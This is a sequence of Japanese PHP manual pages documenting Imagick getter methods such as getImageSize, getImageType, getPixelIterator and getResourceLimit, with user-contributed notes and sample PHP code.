  • 画像の長さをバイト数で返す

Imagick::getImageSize

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSize — 画像の長さをバイト数で返す

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageSize ( ) : int

画像の長さをバイト数で返します。 非推奨です。かわりに Imagick::getImageLength() を使いましょう。

返り値

現在の画像のサイズをバイト数で返します。

User Contributed Notes

murphy(at)murphyslantech(dot)de 30-Nov-2010 07:21
If you get an error or warning (when using strict settings for PHP), telling you, that this function should not be used anymore try getImageLength() instead ...
Ricardo Cordts Monteiro 12-Feb-2010 04:11
Practical use to get the dimensions of the image:

<?php
$image = new Imagick($image_src);
$d = $image->getImageGeometry();
$w = $d['width'];
$h = $d['height'];
?>
nikolaus 17-Oct-2009 12:52
If you're planning to stream imagick images via http, pay attention that this function may return the uncompressed image size, so it's not directly suitable for setting the content-length http header.
benford at bluhelix dot com 22-Jun-2009 03:12
Try Imagick::getSize, Imagick::getImageWidth, or Imagick::getImageHeight if you are looking to get dimensions in pixels (rows, columns) of the current image.
perching_eagle at yahoo dot com 04-Oct-2007 06:37
/* get the size of the image in bytes */
$image=new Imagick("c:/htdocs/rose.jpg");
$size=$image->getImageSize();
print "the size of the picture is ".$size." bytes";

result

the size of the picture is 3461 bytes


画像の ticks-per-second を取得する

  • ≪ Imagick::getImageSize
  • Imagick::getImageTotalInkDensity ≫
  • PHP Manual
  • Imagick
  • 画像の ticks-per-second を取得する

Imagick::getImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTicksPerSecond — 画像の ticks-per-second を取得する

説明

public Imagick::getImageTicksPerSecond ( ) : int

画像の ticks-per-second を取得します。

返り値

画像の ticks-per-second を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の総インク密度を取得する

  • ≪ Imagick::getImageTicksPerSecond
  • Imagick::getImageType ≫
  • PHP Manual
  • Imagick
  • 画像の総インク密度を取得する

Imagick::getImageTotalInkDensity

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTotalInkDensity — 画像の総インク密度を取得する

説明

public Imagick::getImageTotalInkDensity ( ) : float

画像の総インク密度を取得します。

返り値

画像の総インク密度を返します。 エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の型を取得する

  • ≪ Imagick::getImageTotalInkDensity
  • Imagick::getImageUnits ≫
  • PHP Manual
  • Imagick
  • 画像の型を取得する

Imagick::getImageType

(PECL imagick 2, PECL imagick 3)

Imagick::getImageType — 画像の型を取得する

説明

public Imagick::getImageType ( ) : int

画像の型を取得します。

返り値

画像の型を返します。

  • imagick::IMGTYPE_UNDEFINED
  • imagick::IMGTYPE_BILEVEL
  • imagick::IMGTYPE_GRAYSCALE
  • imagick::IMGTYPE_GRAYSCALEMATTE
  • imagick::IMGTYPE_PALETTE
  • imagick::IMGTYPE_PALETTEMATTE
  • imagick::IMGTYPE_TRUECOLOR
  • imagick::IMGTYPE_TRUECOLORMATTE
  • imagick::IMGTYPE_COLORSEPARATION
  • imagick::IMGTYPE_COLORSEPARATIONMATTE
  • imagick::IMGTYPE_OPTIMIZE

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 21-May-2012 11:18
This function will return an integer, with that value being equal to the evaluated value of the IMGType Constants as defined by the ImageMagick class.  When accessing them, they look like "imagick::IMGTYPE_PALETTE", but with "_VALUE" values of: undefined, bilevel, grayscale, grayscalematte, palette, palettematte, truecolor, truecolormatte, colorseparation, colorseparationmatte, and optimize.  If you were to print out these values, you would have '0' for undefined, '1' for bilevel, '2' for grayscale, and so on.

For a BMP picture drawn in paint, I got back the value # 4 - Palette.  For a BMP or JPEG photograph of the ocean or jungle, I got back the value # 6 - Truecolor.  For an animated GIF file, I got back the value # 5 - Palette Matte.  For a black-and-white JPEG drawing, I got back the value # 2 - Grayscale.  These are the most common results I have gotten back with this function.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_type = $imagick_type->getImageType();

        // Interpret Image Type Value
        // ---------------------------------------------

    switch($image_type)
    {
        case imagick::IMGTYPE_UNDEFINED:
            $image_type_title = "Undefined";
            break;

        case imagick::IMGTYPE_BILEVEL:
            $image_type_title = "Bilevel";
            break;

        case imagick::IMGTYPE_GRAYSCALE:
            $image_type_title = "Grayscale";
            break;

        case imagick::IMGTYPE_GRAYSCALEMATTE:
            $image_type_title = "Grayscale Matte";
            break;

        case imagick::IMGTYPE_PALETTE:
            $image_type_title = "Palette";
            break;

        case imagick::IMGTYPE_PALETTEMATTE:
            $image_type_title = "Palette Matte";
            break;

        case imagick::IMGTYPE_TRUECOLOR:
            $image_type_title = "Truecolor";
            break;

        case imagick::IMGTYPE_TRUECOLORMATTE:
            $image_type_title = "Truecolor Matte";
            break;

        case imagick::IMGTYPE_COLORSEPARATION:
            $image_type_title = "Color Separation";
            break;

        case imagick::IMGTYPE_COLORSEPARATIONMATTE:
            $image_type_title = "Color Separation Matte";
            break;

        case imagick::IMGTYPE_OPTIMIZE:
            $image_type_title = "Optimize";
            break;
    }

        // Print Image Type Value
        // ---------------------------------------------

    print("# $image_type - $image_type_title");

?>
lukeydeluxe at gmail dot com 15-Jan-2009 04:13
Remember, the result, if successful, is an Array, wich means you should call for example "$var[format]" if you want to know what format the file uses.


画像の解像度の単位を取得する

  • ≪ Imagick::getImageType
  • Imagick::getImageVirtualPixelMethod ≫
  • PHP Manual
  • Imagick
  • 画像の解像度の単位を取得する

Imagick::getImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::getImageUnits — 画像の解像度の単位を取得する

説明

public Imagick::getImageUnits ( ) : int

画像の解像度の単位を取得します。

返り値

画像の解像度の単位を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Victor 25-Apr-2018 09:06
Here's an example of how to interpret and use ImageResolution and ImageUnits:

$i = new Imagick('some_image_file.png');

$r = $i->getImageResolution();
$u = $i->getImageUnits();
if ($u == Imagick::RESOLUTION_PIXELSPERCENTIMETER) {
   $r[x] = (int)round($r[x] * 2.54);
   $r[y] = (int)round($r[y] * 2.54);
   $i->setImageUnits(Imagick::RESOLUTION_PIXELSPERINCH);
   $i->setImageResolution($r[x], $r[y]);

  //note that the number type is double again
   $r = $i->getImageResolution();
}
holdoffhunger at gmail dot com 22-Jun-2012 02:15
By using the PHP function for getImageUnits, you get back an integer representing the evaluation of a predefined, PATHUNITS constant of the ImageMagick package.  You only have four values for this.  They look like "imagick::PATHUNITS_UNDEFINED", with _VALUE value's being: undefined, userspace, userspaceonuse, and objectboundingbox.  Undefined, if printed, is a 0, userspace is a 1, userspaceonuse is a 2, and objectboundingbox is a 3.

What's the use of knowing the Clipping Path Unit default for an image?  According to the Wikipedia article for "Clipping Path", a Clipping Path is "a closed vector path, or shape, used to cut out a 2D image in image editing software. Anything inside the path will be included after the clipping path is applied; anything outside the path will be omitted from the output."

The official ImageMagick documentation provides only two valid values coming into or out of the clipping path unit value, one being userSpaceOnUse and the other being ObjectBoundingBox.  The only definitions provided: "If userSpaceOnUse, the contents of the clipping path represent values in the current user coordinate system in place at the time when the clipping path is referenced. if objectBoundingBox, then the user coordinate system for the contents of the clipping path is established using the bounding box of the object to which the clipping path is applied. The default is userSpaceOnUse." http://www.imagemagick.org/RMagick/doc/rvgclip.html

In personal experimentation, all JPEG and GIF files have provided '0' for "Undefined" on this function, and all BMP and PNG files have provided '2' for "UserSpaceOnUse" on this function.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Units
        // ---------------------------------------------

    $image_page = $imagick_type->getImageUnits();

        // Interpret Units Value
        // ---------------------------------------------

    switch($image_units)
    {
        case imagick::PATHUNITS_UNDEFINED:
            $image_units_printable = "Undefined";
            break;

        case imagick::PATHUNITS_USERSPACE:
            $image_units_printable = "User Space";
            break;

        case imagick::PATHUNITS_USERSPACEONUSE:
            $image_units_printable = "User Space On Use";
            break;

        case imagick::PATHUNITS_OBJECTBOUNDINGBOX:
            $image_units_printable = "Object Bounding Box";
            break;
    }

        // Print Units Value
        // ---------------------------------------------

    print(" Image Units: # $image_units -- $image_units_printable .");

?>


仮想ピクセルメソッドを取得する

  • ≪ Imagick::getImageUnits
  • Imagick::getImageWhitePoint ≫
  • PHP Manual
  • Imagick
  • 仮想ピクセルメソッドを取得する

Imagick::getImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageVirtualPixelMethod — 仮想ピクセルメソッドを取得する

説明

public Imagick::getImageVirtualPixelMethod ( ) : int

指定した画像の仮想ピクセルメソッドを返します。

返り値

成功した場合に仮想ピクセルメソッドを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


色度が白い点を返す

  • ≪ Imagick::getImageVirtualPixelMethod
  • Imagick::getImageWidth ≫
  • PHP Manual
  • Imagick
  • 色度が白い点を返す

Imagick::getImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWhitePoint — 色度が白い点を返す

説明

public Imagick::getImageWhitePoint ( ) : array

色度が白い点を返します。 "x" および "y" というキーを持つ連想配列となります。

返り値

色度が白い点を返します。 "x" および "y" というキーを持つ連想配列となります。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の幅を返す

  • ≪ Imagick::getImageWhitePoint
  • Imagick::getInterlaceScheme ≫
  • PHP Manual
  • Imagick
  • 画像の幅を返す

Imagick::getImageWidth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWidth — 画像の幅を返す

説明

public Imagick::getImageWidth ( ) : int

画像の幅を返します。

返り値

画像の幅を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

nospam dot karst at onlinq dot nl 28-Jul-2015 07:19
"bob at majdak dot net" mentioned that this function does not return the resized image size.

I use this function in production code, and it correctly returns the width for an image resized with `resizeImage()`.
I have not tested it with `scaleImage()`.
bob at majdak dot net 16-Apr-2015 08:08
I am noticing that this is returning the original size of the image when it was opened, and not the size it may have been resized to with scaleImage or resizeImage.
terry 16-Mar-2014 12:16
<?php

$image = new Imagick("picture.jpg");
$width = $image->getImageWidth();
print "the image width is " . $width . " pixels";

?>

Will print:
the image width is 200 pixels


オブジェクトのインターレース方式を取得する

  • ≪ Imagick::getImageWidth
  • Imagick::getIteratorIndex ≫
  • PHP Manual
  • Imagick
  • オブジェクトのインターレース方式を取得する

Imagick::getInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getInterlaceScheme — オブジェクトのインターレース方式を取得する

説明

public Imagick::getInterlaceScheme ( ) : int

オブジェクトのインターレース方式を取得します。

返り値

インターレース方式 を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


現在アクティブな画像のインデックスを取得する

  • ≪ Imagick::getInterlaceScheme
  • Imagick::getNumberImages ≫
  • PHP Manual
  • Imagick
  • 現在アクティブな画像のインデックスを取得する

Imagick::getIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getIteratorIndex — 現在アクティブな画像のインデックスを取得する

説明

public Imagick::getIteratorIndex ( ) : int

Imagick オブジェクト内で現在アクティブな画像のインデックスを取得します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

スタック内の画像のインデックスを含む整数値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::getIteratorIndex() の使用法

画像を作成し、インデックスの設定と取得を行います。

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

参考

  • Imagick::setIteratorIndex() - イテレータの位置を設定する
  • Imagick::getImageIndex() - 現在アクティブな画像のインデックスを取得する
  • Imagick::setImageIndex() - イテレータの位置を設定する

User Contributed Notes

Michael O&#39;Connell 27-Aug-2015 02:36
This will also retrieve which page number of a multipage document (i.e. PDF, PS) file the Imagick instance is currently on.  By default for a PDF it seems to be set to the last page.
holdoffhunger at gmail dot com 22-May-2012 11:42
The getIteratorIndex function of the ImageMagick function works on any type of image, but it is built for measuring the number of frames in an animated .gif file.  For non-animated image files, like regular .bmp or .jpg files, this function will always return the number '0', meaning that there is only one frame.  Counting starts from zero with this function, so a .gif file with five different frames will return a value of '4' on this.  Highly repetitive, but psychedelic animated GIF's are often anywhere between 10 and 30 frames, but a .gif file that is nothing more than video footage converted to a datafile may have hundreds of frames.

According to Wikipedia (in the article for "Graphics Interchange Format"), an animated GIf image is a uses the GIF standard "which allows various images (frames) in the file to be painted with time delays."  This function won't get you the amount of time that delays between each frame, but it will give you the number of unique frames in a .gif file.  This will tell you how complicated or simple the animation may be.

Is the 'getIteratorIndex' function not working for you?  Try the 'getImageIndex' function, which produces the same exact result.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_iterator_index = $imagick_type->getIteratorIndex();

        // Print Image Type Value
        // ---------------------------------------------

    print("Number of Unique Frames in the .GIF File: $image_iterator_index");

?>


オブジェクト内の画像の数を返す

  • ≪ Imagick::getIteratorIndex
  • Imagick::getOption ≫
  • PHP Manual
  • Imagick
  • オブジェクト内の画像の数を返す

Imagick::getNumberImages

(PECL imagick 2, PECL imagick 3)

Imagick::getNumberImages — オブジェクト内の画像の数を返す

説明

public Imagick::getNumberImages ( ) : int

Imagick オブジェクトに関連付けられている画像の数を返します。

返り値

Imagick オブジェクトに関連付けられている画像の数を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:26
For PDFs this function indicates the number of pages on the PDF, NOT images that might be embedded within the PDF.

<?php

$document = new Imagick('2_pager.pdf');

var_dump($document->getNumberImages()); //returns 2

$document = new Imagick('1_pager.pdf');

var_dump($document->getNumberImages()); //returns 1

?>

From my research it is not possible to obtain the images embedded within a PDF by using the PHP Imagick library.
gzabriskie at yahoo dot com 07-Apr-2009 05:21
<?php
/* Create the object */
$image = new Imagick('YourImageLocation.tif');
$count = $image->getNumberImages();

echo "<h3 style=\"font: bold 12pt Arial\">Total Number of Images Extracted ".
     "from the TIF : ".$image->getNumberImages()."</h3>";

for ($x = 1;$x <= $image->getNumberImages(); $x++) {
  $image->previousImage();
  $image->thumbnailImage( 400, null );
  $image->writeImage('img'.$count.'.png');
  $count--;
}
?>

<html>
  <head>
    <title>Extracting Images Form TIFF</title>
  </head>
  <body>
    <table cellspacing="10" style="background: #ddd"><tr>
      <?php
      for ($x = 1;$x <= $image->getNumberImages(); $x++) {
        echo "<td><img src=\"img$x.png\"<br /><p style=\"font: bold 12pt Arial;".
             "text-align: center\">image $x (png)</p></td>";
      }
      ?>
    </tr></table>
  </body>
</html>


指定したキーに対応する値を返す

  • ≪ Imagick::getNumberImages
  • Imagick::getPackageName ≫
  • PHP Manual
  • Imagick
  • 指定したキーに対応する値を返す

Imagick::getOption

(PECL imagick 2, PECL imagick 3)

Imagick::getOption — 指定したキーに対応する値を返す

説明

public Imagick::getOption ( string $key ) : string

オブジェクト内の指定したキーに対応する値を返します。

パラメータ

key

オプションの名前。

返り値

指定したキーに対応する値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ImageMagick パッケージ名を返す

  • ≪ Imagick::getOption
  • Imagick::getPage ≫
  • PHP Manual
  • Imagick
  • ImageMagick パッケージ名を返す

Imagick::getPackageName

(PECL imagick 2, PECL imagick 3)

Imagick::getPackageName — ImageMagick パッケージ名を返す

説明

public static Imagick::getPackageName ( ) : string

ImageMagick パッケージ名を返します。

返り値

ImageMagick パッケージ名を文字列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ページのジオメトリを返す

  • ≪ Imagick::getPackageName
  • Imagick::getPixelIterator ≫
  • PHP Manual
  • Imagick
  • ページのジオメトリを返す

Imagick::getPage

(PECL imagick 2, PECL imagick 3)

Imagick::getPage — ページのジオメトリを返す

説明

public Imagick::getPage ( ) : array

Imagick オブジェクトに関連付けられたページのジオメトリを返します。 "width"、"height"、"x" そして "y" というキーを持つ連想配列となります。

返り値

Imagick オブジェクトに関連付けられたページのジオメトリを返します。 "width"、"height"、"x" そして "y" というキーを持つ連想配列となります。 エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


MagickPixelIterator を返す

  • ≪ Imagick::getPage
  • Imagick::getPixelRegionIterator ≫
  • PHP Manual
  • Imagick
  • MagickPixelIterator を返す

Imagick::getPixelIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelIterator — MagickPixelIterator を返す

説明

public Imagick::getPixelIterator ( ) : ImagickPixelIterator

MagickPixelIterator を返します。

返り値

成功した場合に ImagickPixelIterator を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::getPixelIterator()

<?php
function getPixelIterator($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imageIterator = $imagick->getPixelIterator();

    foreach ($imageIterator as $row => $pixels) { /* Loop through pixel rows */
        foreach ($pixels as $column => $pixel) { /* Loop through the pixels in the row (columns) */
            /** @var $pixel \ImagickPixel */
            if ($column % 2) {
                $pixel->setColor("rgba(0, 0, 0, 0)"); /* Paint every second pixel black*/
            }
        }
        $imageIterator->syncIterator(); /* Sync the iterator, this is important to do on each iteration */
    }

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

Sebastian Herold 30-Jun-2008 01:06
For me it was very helpful to read a article at Mikko's blog. He showed that the PixelIterator is not read-only, if you sync it regularly:

<?php
      /* Create new object with the image */
      $im = new Imagick( "strawberry.png" );

      /* Get iterator */
      $it = $im->getPixelIterator();

      /* Loop trough pixel rows */
      foreach( $it as $row => $pixels )
      {
          /* For every second row */
          if ( $row % 2 )
          {
              /* Loop trough the pixels in the row (columns) */
              foreach ( $pixels as $column => $pixel )
              {
                      /* Paint every second pixel black*/
                      if ( $column % 2 )
                      {
                              $pixel->setColor( "black" );
                      }
              }

          }

          /* Sync the iterator, this is important to do on each iteration */
          $it->syncIterator();
      }

      /* Display the image */
      header( "Content-Type: image/png" );
      echo $im;

?>


画像セクションの ImagickPixelIterator を取得する

  • ≪ Imagick::getPixelIterator
  • Imagick::getPointSize ≫
  • PHP Manual
  • Imagick
  • 画像セクションの ImagickPixelIterator を取得する

Imagick::getPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelRegionIterator — 画像セクションの ImagickPixelIterator を取得する

説明

public Imagick::getPixelRegionIterator ( int $x , int $y , int $columns , int $rows ) : ImagickPixelIterator

画像セクションの ImagickPixelIterator を取得します。

パラメータ

x

範囲の x 座標。

y

範囲の y 座標。

columns

範囲の幅。

rows

範囲の高さ。

返り値

画像セクションの ImagickPixelIterator を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::getPixelRegionIterator() の例

画像の左上のピクセルを順にたどり、それを黒に変更します。

<?php
$im = new Imagick(realpath("./testImage.png"));
$areaIterator = $im->getPixelRegionIterator(0, 0, 10, 10);

foreach ($areaIterator as $rowIterator) {
    foreach ($rowIterator as $pixel) {
        // すべてのピクセルを黒で塗りつぶします
        $pixel->setColor("rgba(0, 0, 0, 0)");
    }
    $areaIterator->syncIterator();
}
$im->writeImage("./output.png");
?>

User Contributed Notes

There are no user contributed notes for this page.


ポイントサイズを取得する

  • ≪ Imagick::getPixelRegionIterator
  • Imagick::getQuantum ≫
  • PHP Manual
  • Imagick
  • ポイントサイズを取得する

Imagick::getPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getPointSize — ポイントサイズを取得する

説明

public Imagick::getPointSize ( ) : float

オブジェクトのポイントサイズプロパティを返します。 このメソッドは、ImageMagick バージョン 6.3.7 以降で Imagick をコンパイルした場合に使用可能です。

返り値

ポイントサイズを表す float 型の値を返します。

参考

  • Imagick::setPointSize() - ポイントサイズを設定する

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::getPointSize
  • Imagick::getQuantumDepth ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::getQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::getQuantum — Description

説明

public static Imagick::getQuantum ( ) : int

Returns the ImageMagick quantum range as an integer.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


quantum depth を取得する

  • ≪ Imagick::getQuantum
  • Imagick::getQuantumRange ≫
  • PHP Manual
  • Imagick
  • quantum depth を取得する

Imagick::getQuantumDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumDepth — quantum depth を取得する

説明

public static Imagick::getQuantumDepth ( ) : array

Imagick quantum depth を返します。

返り値

"quantumDepthLong" と "quantumDepthString" をキーとして持つ配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 12-May-2012 10:10
The getQuantumDepth works much like the other "Depth" functions and much like the getQuantumRange function.  Like the Depth functions, it returns a value indicating the number of bits to store the unique color values -- 16-bit = 2^16 unique colors, which is 65,535 (counting starts at '0' in binary, as opposed to '1' in decimal).  Like the getQuantumRange function, it returns an array with two values, one being a long integer ('quantumDepthLong') and the other being a string ('quantumDepthLong').  The only difference, besides the variable types, is that the string version has a 'Q' prefixed to it.

Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Depth
        // ---------------------------------------------

    $imagick_type_quantum_depth = $imagick_type->getQuantumDepth();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_depth);
    print("</pre>");

?>

Output:

Array
(
    [quantumDepthLong] => 16
    [quantumDepthString] => Q16
)


Imagick quantum range を返す

  • ≪ Imagick::getQuantumDepth
  • Imagick::getRegistry ≫
  • PHP Manual
  • Imagick
  • Imagick quantum range を返す

Imagick::getQuantumRange

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumRange — Imagick quantum range を返す

説明

public static Imagick::getQuantumRange ( ) : array

Imagick インスタンスの quantum range を文字列で返します。

返り値

quantum range を連想配列で返します。 int ("quantumRangeLong") と string ("quantumRangeString") が含まれます。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 09:42
The getQuantumRange is a useful function, since many of the ImageMagick functions accept parameters from 0 to a maximum of the Quantum Range.  When getting a return value for this, it doesn't return a string.  It actually returns an array, with one type being a String ('quantumRangeLong') and the other type being a Long Int ('quantumRangeString').  Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_quantum_range = $imagick_type->getQuantumRange();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_range);
    print("</pre>");

?>

Output:

Array
(
    [quantumRangeLong] => 65535
    [quantumRangeString] => 65535
)


Description

  • ≪ Imagick::getQuantumRange
  • Imagick::getReleaseDate ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::getRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::getRegistry — Description

説明

public static Imagick::getRegistry ( string $key ) : string

Get the StringRegistry entry for the named key or false if not set.

パラメータ

key

The entry to get.

返り値

User Contributed Notes

There are no user contributed notes for this page.


ImageMagick のリリース日を返す

  • ≪ Imagick::getRegistry
  • Imagick::getResource ≫
  • PHP Manual
  • Imagick
  • ImageMagick のリリース日を返す

Imagick::getReleaseDate

(PECL imagick 2, PECL imagick 3)

Imagick::getReleaseDate — ImageMagick のリリース日を返す

説明

public static Imagick::getReleaseDate ( ) : string

ImageMagick のリリース日を文字列で返します。

返り値

ImageMagick のリリース日を文字列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定したリソースのメモリ使用状況を返す

  • ≪ Imagick::getReleaseDate
  • Imagick::getResourceLimit ≫
  • PHP Manual
  • Imagick
  • 指定したリソースのメモリ使用状況を返す

Imagick::getResource

(PECL imagick 2, PECL imagick 3)

Imagick::getResource — 指定したリソースのメモリ使用状況を返す

説明

public static Imagick::getResource ( int $type ) : int

指定したリソースのメモリ使用状況をメガバイト単位で返します。

パラメータ

type

リソース型定数 の一覧を参照ください。

返り値

指定したリソースのメモリ使用状況をメガバイト単位で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定したリソースの制限を返す

  • ≪ Imagick::getResource
  • Imagick::getSamplingFactors ≫
  • PHP Manual
  • Imagick
  • 指定したリソースの制限を返す

Imagick::getResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::getResourceLimit — 指定したリソースの制限を返す

説明

public static Imagick::getResourceLimit ( int $type ) : int

指定したリソースの制限を返します。

パラメータ

type

リソース型定数 のうちのひとつ。 単位は制限されるリソースのタイプに依存します。

返り値

指定したリソースの制限をメガバイト単位で返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::setResourceLimit() - 特定のリソースの制限を設定する

User Contributed Notes

holdoffhunger at gmail dot com 23-May-2012 11:43
By using the PHP function getResourceLimit, you'll be given the maximum allowed amount of a particular type of resource.  The integer returned is the number of bytes allowed to the resource you specified in the input parameter.  For the input parameter options, you have the predefined ResourceType constants for the ImageMagick package.  In the code, they look like imagick::RESOURCETYPE_AREA, but you have "_VALUE" options of: undefined, area, disk, file, map, and memory.

What do each of these particular values represent?  The ImageMagick official documentation is helpful in that matter.  File indicates "maximum number of open pixel cache files", Area indicates "maximum area in bytes of any one image that can reside in the pixel cache memory", Memory indicates "maximum amount of memory in bytes to allocate for the pixel cache", map indicates "maximum amount of memory map in bytes to allocate for the pixel cache", and disk indicates "maximum amount of disk space in bytes permitted for use by the pixel cache".  This is according to the Official ImageMagick Architecture page: http://www.imagemagick.org/script/architecture.php .

The Official ImageMagick Resource page has more information on how these parameters function.  For instance, the files limit documentation mentions that when a user goes over the limit, any more files will be "cached to disk are closed and reopened on demand."  (Again, a performance hit.)  See that page here: http://www.imagemagick.org/script/resources.php .

What happens when someone exceeds their limit?  It doesn't cause the PHP script to error out, but simply, it relocates their user activity to non-cache memory (i.e.: virtual memory, which is slow).  So, even if you're worried about the limit, it really only indicates the point in a server at which a user's request is devalued compared to other user requests.

And remember, you can always set the defaults in the policy.xml file on your own server.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get/Display Resource Values
        // ---------------------------------------------

    print("Undefined: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_UNDEFINED));

    print("<br><br>Area: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_AREA));

    print("<br><br>Disk: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_DISK));

    print("<br><br>File: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_FILE));

    print("<br><br>Map: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MAP));

    print("<br><br>Memory: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MEMORY));

?>


水平方向および垂直方向のサンプリング係数を取得する

  • ≪ Imagick::getResourceLimit
  • Imagick::getSize ≫
  • PHP Manual
  • Imagick
  • 水平方向および垂直方向のサンプリング係数を取得する

Imagick::getSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::getSamplingFactors — 水平方向および垂直方向のサンプリング係数を取得する

説明

public Imagick::getSamplingFactors ( ) : array

水平方向および垂直方向のサンプリング係数を取得します。

返り値

